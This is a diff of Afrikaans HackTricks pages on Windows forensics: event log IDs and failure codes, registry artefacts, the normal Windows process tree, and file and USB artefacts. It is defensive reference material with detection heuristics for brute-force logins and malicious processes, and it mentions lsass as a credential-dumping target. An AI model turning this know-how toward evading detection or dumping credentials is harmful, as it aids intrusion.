- **EventIDs 4634/4647**: Verteenwoordig gebruiker afmeld gebeurtenisse.
|
||||
- **EventID 4672**: Dui aan aanmelding met administratiewe regte.
|
||||
|
||||
#### Sub-tipes binne EventID 4634/4647:
|
||||
|
||||
- **Interaktief (2)**: Direkte gebruiker aanmelding.
|
||||
- **Netwerk (3)**: Toegang tot gedeelde gidse.
|
||||
- **Batch (4)**: Uitvoering van batch prosesse.
|
||||
- **Dienste (5)**: Diens bekendstellings.
|
||||
- **Proxy (6)**: Proxy verifikasie.
|
||||
- **Ontsluit (7)**: Skerm ontsluit met 'n wagwoord.
|
||||
- **Netwerk Duidelike teks (8)**: Duidelike teks wagwoord oordrag, dikwels van IIS.
|
||||
- **Nuwe Kredensiale (9)**: Gebruik van verskillende kredensiale vir toegang.
|
||||
- **Afgeleë Interaktief (10)**: Afgeleë lessenaar of terminal dienste aanmelding.
|
||||
- **Gekapte Interaktief (11)**: Aanmelding met gekapte kredensiale sonder kontak met die domeinbeheerder.
|
||||
- **Gekapte Afgeleë Interaktief (12)**: Afgeleë aanmelding met gekapte kredensiale.
|
||||
- **Gekapte Ontsluiting (13)**: Ontsluiting met gekapte kredensiale.
|
||||
|
||||
#### Status en Sub Status Kodes vir EventID 4625:
|
||||
|
||||
- **0xC0000064**: Gebruikersnaam bestaan nie - Kan 'n gebruikersnaam enumerasie aanval aandui.
|
||||
- **0xC000006A**: Regte gebruikersnaam maar verkeerde wagwoord - Mogelijke wagwoord raai of brute-force poging.
|
||||
- **0xC0000234**: Gebruikersrekening is geblokkeer - Mag volg op 'n brute-force aanval wat tot verskeie mislukte aanmeldings lei.
|
||||
- **0xC0000072**: Rekening gedeaktiveer - Ongeoorloofde pogings om toegang tot gedeaktiveerde rekeninge te verkry.
|
||||
- **0xC000006F**: Aanmelding buite toegelate tyd - Dui pogings aan om buite die gestelde aanmeldure toegang te verkry, 'n moontlike teken van ongeoorloofde toegang.
|
||||
- **0xC0000070**: Oortreding van werkstasie beperkings - Kan 'n poging wees om van 'n ongeoorloofde plek aan te meld.
|
||||
- **0xC0000193**: Rekening vervaldatum - Toegang pogings met vervalde gebruikersrekeninge.
|
||||
- **0xC0000071**: Vervalde wagwoord - Aanmelding pogings met verouderde wagwoorde.
|
||||
- **0xC0000133**: Tyd sinkronisasie probleme - Groot tyd verskille tussen kliënt en bediener kan aandui van meer gesofistikeerde aanvalle soos pass-the-ticket.
|
||||
- **0xC0000224**: Verpligte wagwoord verandering vereis - Frekwente verpligte veranderinge mag 'n poging aandui om rekening sekuriteit te destabiliseer.
|
||||
- **0xC0000225**: Dui 'n stelselfout aan eerder as 'n sekuriteitskwessie.
|
||||
- **0xC000015b**: Ontkende aanmeld tipe - Toegang poging met ongeoorloofde aanmeld tipe, soos 'n gebruiker wat probeer om 'n diens aanmelding uit te voer.
|
||||
|
||||
#### EventID 4616:
|
||||
|
||||
- **Tyd Verandering**: Wysiging van die stelseltijd, kan die tydlyn van gebeurtenisse verdoesel.
|
||||
|
||||
#### EventID 6005 en 6006:
|
||||
|
||||
- **Stelsel Begin en Afsluiting**: EventID 6005 dui aan dat die stelsel begin, terwyl EventID 6006 dit afsluit.
|
||||
|
||||
#### EventID 1102:
|
||||
|
||||
- **Log Verwydering**: Sekuriteitslogs wat skoongemaak word, wat dikwels 'n rooi vlag is vir die bedek van onwettige aktiwiteite.
|
||||
|
||||
#### EventIDs vir USB Toestel Opsporing:
|
||||
|
||||
- **20001 / 20003 / 10000**: USB toestel eerste verbinding.
|
||||
- **10100**: USB bestuurder opdatering.
|
||||
- **EventID 112**: Tyd van USB toestel inset.
|
||||
|
||||
Vir praktiese voorbeelde oor die simulasie van hierdie aanmeld tipes en kredensiaal dumping geleenthede, verwys na [Altered Security se gedetailleerde gids](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
Gebeure besonderhede, insluitend status en sub-status kodes, bied verdere insigte in gebeurtenis oorsake, veral noemenswaardig in Event ID 4625.
|
||||
|
||||
### Herwinning van Windows Gebeure
|
||||
|
||||
Om die kanse van die herstel van verwyderde Windows Gebeure te verbeter, is dit raadsaam om die verdagte rekenaar af te skakel deur dit direk uit te trek. **Bulk_extractor**, 'n herstel hulpmiddel wat die `.evtx` uitbreiding spesifiseer, word aanbeveel om te probeer om sulke gebeurtenisse te herstel.
|
||||
|
||||
### Identifisering van Algemene Aanvalle via Windows Gebeure
|
||||
|
||||
Vir 'n omvattende gids oor die gebruik van Windows Gebeurtenis ID's in die identifisering van algemene kuber aanvalle, besoek [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
|
||||
#### Brute Force Aanvalle
|
||||
|
||||
Identifiseerbaar deur verskeie EventID 4625 rekords, gevolg deur 'n EventID 4624 as die aanval slaag.
|
||||
|
||||
#### Tyd Verandering
|
||||
|
||||
Aangeteken deur EventID 4616, veranderinge aan stelseltijd kan forensiese analise bemoeilik.
|
||||
|
||||
#### USB Toestel Opsporing
|
||||
|
||||
Nuttige Stelsel GebeurtenisID's vir USB toestel opsporing sluit 20001/20003/10000 in vir aanvanklike gebruik, 10100 vir bestuurder opdaterings, en EventID 112 van DeviceSetupManager vir inset tydstempels.
|
||||
|
||||
#### Stelsel Krag Gebeurtenisse
|
||||
|
||||
EventID 6005 dui aan stelsel begin, terwyl EventID 6006 afsluiting merk.
|
||||
|
||||
#### Log Verwydering
|
||||
|
||||
Sekuriteit EventID 1102 dui die verwydering van logs aan, 'n kritieke gebeurtenis vir forensiese analise.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,101 +0,0 @@
|
||||
# Interessante Windows Registriesleutels
|
||||
|
||||
### Interessante Windows Registriesleutels
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### **Windows Weergawe en Eienaar Inligting**
|
||||
|
||||
- Geleë by **`Software\Microsoft\Windows NT\CurrentVersion`**, sal jy die Windows weergawe, dienspakket, installasietyd, en die geregistreerde eienaar se naam op 'n eenvoudige manier vind.
|
||||
|
||||
### **Rekenaarnaam**
|
||||
|
||||
- Die gasheernaam is onder **`System\ControlSet001\Control\ComputerName\ComputerName`** te vind.
|
||||
|
||||
### **Tydsone Instelling**
|
||||
|
||||
- Die stelseltijdsones is gestoor in **`System\ControlSet001\Control\TimeZoneInformation`**.
|
||||
|
||||
### **Toegangstyd Opvolging**
|
||||
|
||||
- Standaard is die laaste toegangstyd opvolging afgeskakel (**`NtfsDisableLastAccessUpdate=1`**). Om dit in te skakel, gebruik:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Windows Weergawes en Dienspakkette
|
||||
|
||||
- Die **Windows weergawe** dui die uitgawe aan (bv. Home, Pro) en sy vrystelling (bv. Windows 10, Windows 11), terwyl **dienspakkette** opdaterings is wat regstellings en, soms, nuwe funksies insluit.
|
||||
|
||||
### Laaste Toegangstyd Inskakel
|
||||
|
||||
- Die inskakeling van laaste toegangstyd opvolging laat jou toe om te sien wanneer lêers laas geopen is, wat krities kan wees vir forensiese analise of stelseltelling.
|
||||
|
||||
### Netwerk Inligting Besonderhede
|
||||
|
||||
- Die registries bevat uitgebreide data oor netwerk konfigurasies, insluitend **tipes netwerke (draadloos, kabel, 3G)** en **netwerk kategorieë (Publiek, Privaat/Huis, Domein/Werk)**, wat noodsaaklik is vir die verstaan van netwerk sekuriteitsinstellings en toestemmings.
|
||||
|
||||
### Kliëntkant Kaping (CSC)
|
||||
|
||||
- **CSC** verbeter offline lêer toegang deur kopieë van gedeelde lêers te kas. Verskillende **CSCFlags** instellings beheer hoe en watter lêers gekas word, wat prestasie en gebruikerservaring beïnvloed, veral in omgewings met intermitterende konneksie.
|
||||
|
||||
### AutoStart Programme
|
||||
|
||||
- Programme wat in verskeie `Run` en `RunOnce` registriesleutels gelys is, word outomaties by opstart gelaai, wat die stelselaanlooptyd beïnvloed en moontlik punte van belang kan wees om malware of ongewenste sagteware te identifiseer.
|
||||
|
||||
### Shellbags
|
||||
|
||||
- **Shellbags** stoor nie net voorkeure vir vouer aansigte nie, maar bied ook forensiese bewyse van vouer toegang selfs al bestaan die vouer nie meer nie. Hulle is van onskatbare waarde vir ondersoeke, wat gebruikersaktiwiteit onthul wat nie duidelik is deur ander middele nie.
|
||||
|
||||
### USB Inligting en Forensika
|
||||
|
||||
- Die besonderhede wat in die registries oor USB toestelle gestoor is, kan help om te spoor watter toestelle aan 'n rekenaar gekoppel was, wat moontlik 'n toestel aan sensitiewe lêer oordragte of ongeoorloofde toegang insidente kan koppel.
|
||||
|
||||
### Volume Serienommer
|
||||
|
||||
- Die **Volume Serienommer** kan noodsaaklik wees om die spesifieke geval van 'n lêerstelsel te spoor, nuttig in forensiese scenario's waar lêer oorsprong oor verskillende toestelle gevestig moet word.
|
||||
|
||||
### **Afsluit Besonderhede**
|
||||
|
||||
- Afsluit tyd en telling (laasgenoemde slegs vir XP) word in **`System\ControlSet001\Control\Windows`** en **`System\ControlSet001\Control\Watchdog\Display`** gehou.
|
||||
|
||||
### **Netwerk Konfigurasie**
|
||||
|
||||
- Vir gedetailleerde netwerk koppelvlak inligting, verwys na **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- Eerste en laaste netwerkverbinding tye, insluitend VPN verbindings, word onder verskeie paaie in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** gelog.
|
||||
|
||||
### **Gedeelde Vouers**
|
||||
|
||||
- Gedeelde vouers en instellings is onder **`System\ControlSet001\Services\lanmanserver\Shares`**. Die Kliëntkant Kaping (CSC) instellings bepaal offline lêer beskikbaarheid.
|
||||
|
||||
### **Programme wat Outomaties Begin**
|
||||
|
||||
- Paaie soos **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** en soortgelyke inskrywings onder `Software\Microsoft\Windows\CurrentVersion` detail programme wat ingestel is om by opstart te loop.
|
||||
|
||||
### **Soek en Getypte Paaie**
|
||||
|
||||
- Explorer soeke en getypte paaie word in die registries onder **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** vir WordwheelQuery en GetyptePaaie, onderskeidelik, opgeteken.
|
||||
|
||||
### **Onlangse Dokumente en Office Lêers**
|
||||
|
||||
- Onlangse dokumente en Office lêers wat toegang verkry is, word opgemerk in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` en spesifieke Office weergawe paaie.
|
||||
|
||||
### **Mees Onlangs Gebruikte (MRU) Items**
|
||||
|
||||
- MRU lyste, wat onlangse lêer paaie en opdragte aandui, word in verskeie `ComDlg32` en `Explorer` subsleutels onder `NTUSER.DAT` gestoor.
|
||||
|
||||
### **Gebruikersaktiwiteit Opvolging**
|
||||
|
||||
- Die User Assist funksie log gedetailleerde toepassingsgebruik statistieke, insluitend loop telling en laaste loop tyd, by **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
|
||||
### **Shellbags Analise**
|
||||
|
||||
- Shellbags, wat vouer toegang besonderhede onthul, word in `USRCLASS.DAT` en `NTUSER.DAT` onder `Software\Microsoft\Windows\Shell` gestoor. Gebruik **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** vir analise.
|
||||
|
||||
### **USB Toestel Geskiedenis**
|
||||
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** en **`HKLM\SYSTEM\ControlSet001\Enum\USB`** bevat ryk besonderhede oor gekoppelde USB toestelle, insluitend vervaardiger, produknaam, en verbindingstydstempels.
|
||||
- Die gebruiker wat met 'n spesifieke USB toestel geassosieer is, kan bepaal word deur `NTUSER.DAT` hives vir die toestel se **{GUID}** te soek.
|
||||
- Die laaste gemonteerde toestel en sy volume serienommer kan opgespoor word deur `System\MountedDevices` en `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, onderskeidelik.
|
||||
|
||||
Hierdie gids konsolideer die noodsaaklike paaie en metodes om gedetailleerde stelsel-, netwerk-, en gebruikersaktiwiteit inligting op Windows stelsels te verkry, met die doel om duidelikheid en bruikbaarheid te bevorder.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,106 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## smss.exe
|
||||
|
||||
**Sessie Bestuurder**.\
|
||||
Sessie 0 begin **csrss.exe** en **wininit.exe** (**OS** **dienste**) terwyl Sessie 1 **csrss.exe** en **winlogon.exe** (**Gebruiker** **sessie**) begin. U moet egter **slegs een proses** van daardie **binaire** sonder kinders in die prosesboom sien.
|
||||
|
||||
Verder kan sessies behalwe 0 en 1 beteken dat RDP-sessies plaasvind.
|
||||
|
||||
## csrss.exe
|
||||
|
||||
**Kliënt/Bediener Loop Substelsel Proses**.\
|
||||
Dit bestuur **prosesse** en **draadjies**, maak die **Windows** **API** beskikbaar vir ander prosesse en **map ook skyfletters**, skep **temp lêers**, en hanteer die **afsluiting** **proses**.
|
||||
|
||||
Daar is een **wat in Sessie 0 loop en nog een in Sessie 1** (so **2 prosesse** in die prosesboom). Nog een word **per nuwe Sessie** geskep.
|
||||
|
||||
## winlogon.exe
|
||||
|
||||
**Windows Aanmeld Proses**.\
|
||||
Dit is verantwoordelik vir gebruiker **aanmeld**/**afmeld**. Dit begin **logonui.exe** om vir gebruikersnaam en wagwoord te vra en roep dan **lsass.exe** aan om dit te verifieer.
|
||||
|
||||
Dan begin dit **userinit.exe** wat gespesifiseer is in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** met sleutel **Userinit**.
|
||||
|
||||
Boonop moet die vorige register **explorer.exe** in die **Shell sleutel** hê of dit mag as 'n **malware volhardingsmetode** misbruik word.
|
||||
|
||||
## wininit.exe
|
||||
|
||||
**Windows Inisialisasie Proses**. \
|
||||
Dit begin **services.exe**, **lsass.exe**, en **lsm.exe** in Sessie 0. Daar moet slegs 1 proses wees.
|
||||
|
||||
## userinit.exe
|
||||
|
||||
**Userinit Aanmeld Toepassing**.\
|
||||
Laai die **ntduser.dat in HKCU** en inisieer die **gebruiker** **omgewing** en voer **aanmeld** **scripts** en **GPO** uit.
|
||||
|
||||
Dit begin **explorer.exe**.
|
||||
|
||||
## lsm.exe
|
||||
|
||||
**Plaaslike Sessie Bestuurder**.\
|
||||
Dit werk saam met smss.exe om gebruiker sessies te manipuleer: Aanmeld/afmeld, skulp begin, vergrendel/ontgrendel lessenaar, ens.
|
||||
|
||||
Na W7 is lsm.exe in 'n diens (lsm.dll) getransformeer.
|
||||
|
||||
Daar moet slegs 1 proses in W7 wees en van hulle 'n diens wat die DLL uitvoer.
|
||||
|
||||
## services.exe
|
||||
|
||||
**Diens Beheerder**.\
|
||||
Dit **laai** **dienste** wat as **outomatiese begin** en **drywers** geconfigureer is.
|
||||
|
||||
Dit is die ouer proses van **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** en baie meer.
|
||||
|
||||
Dienste word gedefinieer in `HKLM\SYSTEM\CurrentControlSet\Services` en hierdie proses handhaaf 'n DB in geheue van diensinligting wat deur sc.exe opgevraag kan word.
|
||||
|
||||
Let op hoe **sommige** **dienste** in 'n **eie proses** gaan loop en ander gaan **'n svchost.exe proses deel**.
|
||||
|
||||
Daar moet slegs 1 proses wees.
|
||||
|
||||
## lsass.exe
|
||||
|
||||
**Plaaslike Sekuriteit Owerheid Substelsel**.\
|
||||
Dit is verantwoordelik vir die gebruiker **verifikasie** en skep die **sekuriteit** **tokens**. Dit gebruik verifikasie pakkette geleë in `HKLM\System\CurrentControlSet\Control\Lsa`.
|
||||
|
||||
Dit skryf na die **Sekuriteit** **gebeurtenis** **log** en daar moet slegs 1 proses wees.
|
||||
|
||||
Hou in gedagte dat hierdie proses hoogs geteiken word om wagwoorde te dump.
|
||||
|
||||
## svchost.exe
|
||||
|
||||
**Generiese Diens Gasheer Proses**.\
|
||||
Dit huisves verskeie DLL dienste in een gedeelde proses.
|
||||
|
||||
Gewoonlik sal u vind dat **svchost.exe** met die `-k` vlag begin. Dit sal 'n navraag na die register **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** begin waar daar 'n sleutel met die argument genoem in -k sal wees wat die dienste bevat om in dieselfde proses te begin.
|
||||
|
||||
Byvoorbeeld: `-k UnistackSvcGroup` sal begin: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
|
||||
|
||||
As die **vlag `-s`** ook met 'n argument gebruik word, dan word svchost gevra om **slegs die gespesifiseerde diens** in hierdie argument te begin.
|
||||
|
||||
Daar sal verskeie prosesse van `svchost.exe` wees. As enige van hulle **nie die `-k` vlag gebruik nie**, dan is dit baie verdag. As u vind dat **services.exe nie die ouer** is nie, is dit ook baie verdag.
|
||||
|
||||
## taskhost.exe
|
||||
|
||||
Hierdie proses dien as 'n gasheer vir prosesse wat van DLLs loop. Dit laai ook die dienste wat van DLLs loop.
|
||||
|
||||
In W8 word dit taskhostex.exe genoem en in W10 taskhostw.exe.
|
||||
|
||||
## explorer.exe
|
||||
|
||||
Dit is die proses wat verantwoordelik is vir die **gebruiker se lessenaar** en die begin van lêers via lêeruitbreidings.
|
||||
|
||||
**Slegs 1** proses moet **per aangemelde gebruiker** geskep word.
|
||||
|
||||
Dit word van **userinit.exe** uitgevoer wat beëindig moet word, so **geen ouer** moet vir hierdie proses verskyn nie.
|
||||
|
||||
# Vang Kwaadwillige Prosesse
|
||||
|
||||
- Loop dit vanaf die verwagte pad? (Geen Windows binaire loop vanaf tydelike plek nie)
|
||||
- Kommunikeer dit met vreemde IP's?
|
||||
- Kontroleer digitale handtekeninge (Microsoft artefakte moet onderteken wees)
|
||||
- Is dit korrek gespel?
|
||||
- Loop dit onder die verwagte SID?
|
||||
- Is die ouer proses die verwagte een (indien enige)?
|
||||
- Is die kindprosesse die verwagte? (geen cmd.exe, wscript.exe, powershell.exe..?)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,7 +1,5 @@
|
||||
# Windows Artefakte
|
||||
|
||||
## Windows Artefakte
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Generiese Windows Artefakte
|
||||
@ -14,7 +12,7 @@ Binne hierdie SQLite-databasis kan jy die `Notification` tabel vind met al die k
|
||||
|
||||
### Tydlyn
|
||||
|
||||
Tydlyn is 'n Windows kenmerk wat **chronologiese geskiedenis** van webblaaie, gewysigde dokumente en uitgevoerde toepassings verskaf.
|
||||
Tydlyn is 'n Windows kenmerk wat **chronologiese geskiedenis** van webbladsye wat besoek is, gewysigde dokumente, en uitgevoerde toepassings verskaf.
|
||||
|
||||
Die databasis is geleë in die pad `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Hierdie databasis kan geopen word met 'n SQLite-gereedskap of met die gereedskap [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **wat 2 lêers genereer wat met die gereedskap** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **geopen kan word**.
|
||||
|
||||
@ -26,7 +24,7 @@ Lêers wat afgelaai is, kan die **ADS Zone.Identifier** bevat wat aandui **hoe**
|
||||
|
||||
### Herwinningsblik
|
||||
|
||||
In Vista/Win7/Win8/Win10 kan die **Herwinningsblik** gevind word in die gids **`$Recycle.bin`** in die wortel van die skyf (`C:\$Recycle.bin`).\
|
||||
In Vista/Win7/Win8/Win10 kan die **Herwinningsblik** in die gids **`$Recycle.bin`** in die wortel van die skyf (`C:\$Recycle.bin`) gevind word.\
|
||||
Wanneer 'n lêer in hierdie gids verwyder word, word 2 spesifieke lêers geskep:
|
||||
|
||||
- `$I{id}`: Lêer inligting (datum van wanneer dit verwyder is)
|
||||
@ -42,13 +40,13 @@ Met hierdie lêers kan jy die gereedskap [**Rifiuti**](https://github.com/abelch
|
||||
|
||||
### Volume Shadow Copies
|
||||
|
||||
Shadow Copy is 'n tegnologie ingesluit in Microsoft Windows wat **rugsteun kopieë** of snappshots van rekenaar lêers of volumes kan skep, selfs wanneer hulle in gebruik is.
|
||||
Shadow Copy is 'n tegnologie ingesluit in Microsoft Windows wat **rugsteun kopieë** of snapshots van rekenaar lêers of volumes kan skep, selfs wanneer hulle in gebruik is.
|
||||
|
||||
Hierdie rugsteun is gewoonlik geleë in die `\System Volume Information` vanaf die wortel van die lêerstelsel en die naam is saamgestel uit **UIDs** wat in die volgende beeld getoon word:
|
||||
|
||||
.png>)
|
||||
|
||||
Deur die forensiese beeld met die **ArsenalImageMounter** te monteer, kan die hulpmiddel [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) gebruik word om 'n skadu kopie te ondersoek en selfs **die lêers** uit die skadu kopie rugsteun te **onttrek**.
|
||||
Deur die forensiese beeld met die **ArsenalImageMounter** te monteer, kan die hulpmiddel [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) gebruik word om 'n shadow copy te inspekteer en selfs **die lêers** uit die shadow copy rugsteun te **onttrek**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -75,11 +73,11 @@ Windows **skep** hierdie **skakels** **automaties** wanneer die gebruiker **'n l
|
||||
|
||||
Wanneer 'n gids geskep word, word 'n skakel na die gids, na die ouergids, en die grootouergids ook geskep.
|
||||
|
||||
Hierdie outomaties geskepte skakel lêers **bevat inligting oor die oorsprong** soos of dit 'n **lêer** **of** 'n **gids** is, **MAC** **tye** van daardie lêer, **volume inligting** van waar die lêer gestoor is en **gids van die teikenlêer**. Hierdie inligting kan nuttig wees om daardie lêers te herstel in die geval dat hulle verwyder is.
|
||||
Hierdie outomaties geskepte skakel lêers **bevat inligting oor die oorsprong** soos of dit 'n **lêer** **of** 'n **gids** is, **MAC** **tye** van daardie lêer, **volume-inligting** van waar die lêer gestoor is en **gids van die teikenlêer**. Hierdie inligting kan nuttig wees om daardie lêers te herstel in die geval dat hulle verwyder is.
|
||||
|
||||
Ook, die **datum geskep van die skakel** lêer is die eerste **tyd** wat die oorspronklike lêer **eerste** **gebruik** is en die **datum** **gewysig** van die skakel lêer is die **laaste** **tyd** wat die oorspronklike lêer gebruik is.
|
||||
|
||||
Om hierdie lêers te ondersoek kan jy [**LinkParser**](http://4discovery.com/our-tools/) gebruik.
|
||||
Om hierdie lêers te inspekteer kan jy [**LinkParser**](http://4discovery.com/our-tools/) gebruik.
|
||||
|
||||
In hierdie hulpmiddel sal jy **2 stelle** van tydstempels vind:
|
||||
|
||||
@ -92,9 +90,9 @@ In hierdie hulpmiddel sal jy **2 stelle** van tydstempels vind:
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
|
||||
Die eerste stel tydstempels verwys na die **tydstempels van die lêer self**. Die tweede stel verwys na die **tydstempels van die gelinkte lêer**.
|
||||
Die eerste stel van tydstempels verwys na die **tydstempels van die lêer self**. Die tweede stel verwys na die **tydstempels van die gelinkte lêer**.
|
||||
|
||||
Jy kan dieselfde inligting verkry deur die Windows CLI hulpmiddel: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) te gebruik.
|
||||
Jy kan dieselfde inligting verkry deur die Windows CLI-hulpmiddel: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) te gebruik.
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
@ -102,15 +100,15 @@ In hierdie geval gaan die inligting binne 'n CSV-lêer gestoor word.
|
||||
|
||||
### Jumplists
|
||||
|
||||
Dit is die onlangse lêers wat per toepassing aangedui word. Dit is die lys van **onlangse lêers wat deur 'n toepassing gebruik is** wat jy op elke toepassing kan toegang. Hulle kan **outomaties geskep of persoonlik wees**.
|
||||
Dit is die onlangse lêers wat per toepassing aangedui word. Dit is die lys van **onlangse lêers wat deur 'n toepassing gebruik is** wat jy op elke toepassing kan toegang. Hulle kan **outomaties of op maat** geskep word.
|
||||
|
||||
Die **jumplists** wat outomaties geskep word, word gestoor in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Die jumplists word genoem volgens die formaat `{id}.autmaticDestinations-ms` waar die aanvanklike ID die ID van die toepassing is.
|
||||
Die **jumplists** wat outomaties geskep word, word gestoor in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Die jumplists is vernoem volgens die formaat `{id}.autmaticDestinations-ms` waar die aanvanklike ID die ID van die toepassing is.
|
||||
|
||||
Die persoonlike jumplists word gestoor in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` en hulle word gewoonlik deur die toepassing geskep omdat iets **belangrik** met die lêer gebeur het (miskien as gunsteling gemerk).
|
||||
Die pasgemaakte jumplists word gestoor in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` en hulle word gewoonlik deur die toepassing geskep omdat iets **belangrik** met die lêer gebeur het (miskien as gunsteling gemerk).
|
||||
|
||||
Die **geskepte tyd** van enige jumplist dui die **eerste keer aan dat die lêer toegang verkry is** en die **gewysigde tyd die laaste keer**.
|
||||
Die **gecreëerde tyd** van enige jumplist dui die **eerste keer aan dat die lêer toegang verkry is** en die **gewysigde tyd die laaste keer**.
|
||||
|
||||
Jy kan die jumplists inspekteer met behulp van [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
Jy kan die jumplists inspekteer met [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -142,7 +140,7 @@ Die lêers in die WPDNSE-gids is 'n kopie van die oorspronklike, en sal dus nie
|
||||
|
||||
Kontroleer die lêer `C:\Windows\inf\setupapi.dev.log` om die tydstempels te kry oor wanneer die USB-verbinding gemaak is (soek vir `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
@ -152,7 +150,7 @@ Kontroleer die lêer `C:\Windows\inf\setupapi.dev.log` om die tydstempels te kry
|
||||
|
||||
### Plug and Play Cleanup
|
||||
|
||||
Die geskeduleerde taak bekend as 'Plug and Play Cleanup' is hoofsaaklik ontwerp vir die verwydering van verouderde stuurprogramweergawe. In teenstelling met sy gespesifiseerde doel om die nuutste stuurprogrampakketweergawe te behou, dui aanlynbronne aan dat dit ook stuurprogramme teiken wat vir 30 dae inaktief was. Gevolglik kan stuurprogramme vir verwyderbare toestelle wat nie in die afgelope 30 dae gekoppel is nie, onderhewig wees aan verwydering.
|
||||
Die geskeduleerde taak bekend as 'Plug and Play Cleanup' is hoofsaaklik ontwerp vir die verwydering van verouderde stuurprogrammaversies. In teenstelling met sy gespesifiseerde doel om die nuutste stuurprogrampakketweergawe te behou, dui aanlynbronne aan dat dit ook stuurprogramme teiken wat vir 30 dae inaktief was. Gevolglik kan stuurprogramme vir verwyderbare toestelle wat nie in die afgelope 30 dae gekoppel was nie, onderhewig wees aan verwydering.
|
||||
|
||||
Die taak is geleë op die volgende pad: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
@ -163,10 +161,10 @@ Die taak is geleë op die volgende pad: `C:\Windows\System32\Tasks\Microsoft\Win
|
||||
- **pnpclean.dll**: Hierdie DLL is verantwoordelik vir die werklike skoonmaakproses.
|
||||
- **UseUnifiedSchedulingEngine**: Gestel op `TRUE`, wat die gebruik van die generiese taakbeplanning enjin aandui.
|
||||
- **MaintenanceSettings**:
|
||||
- **Period ('P1M')**: Beveel aan dat die Taakbeplanner die skoonmaaktaak maandeliks tydens gereelde Outomatiese onderhoud begin.
|
||||
- **Deadline ('P2M')**: Instruksies aan die Taakbeplanner, indien die taak vir twee agtereenvolgende maande misluk, om die taak tydens nood Outomatiese onderhoud uit te voer.
|
||||
- **Period ('P1M')**: Gee die Taakbeplanner opdrag om die skoonmaaktaak maandeliks te begin tydens gereelde Outomatiese onderhoud.
|
||||
- **Deadline ('P2M')**: Gee die Taakbeplanner opdrag, indien die taak vir twee agtereenvolgende maande misluk, om die taak tydens noodgevalle Outomatiese onderhoud uit te voer.
|
||||
|
||||
Hierdie konfigurasie verseker gereelde onderhoud en skoonmaak van stuurprogramme, met voorsienings vir herpoging van die taak in die geval van agtereenvolgende mislukkings.
|
||||
Hierdie konfigurasie verseker gereelde onderhoud en skoonmaak van stuurprogramme, met voorsienings vir die herpoging van die taak in die geval van agtereenvolgende mislukkings.
|
||||
|
||||
**Vir meer inligting, kyk:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
@ -211,7 +209,7 @@ Jy kan die PST-lêer open met die hulpmiddel [**Kernel PST Viewer**](https://www
|
||||
|
||||
### Microsoft Outlook OST Lêers
|
||||
|
||||
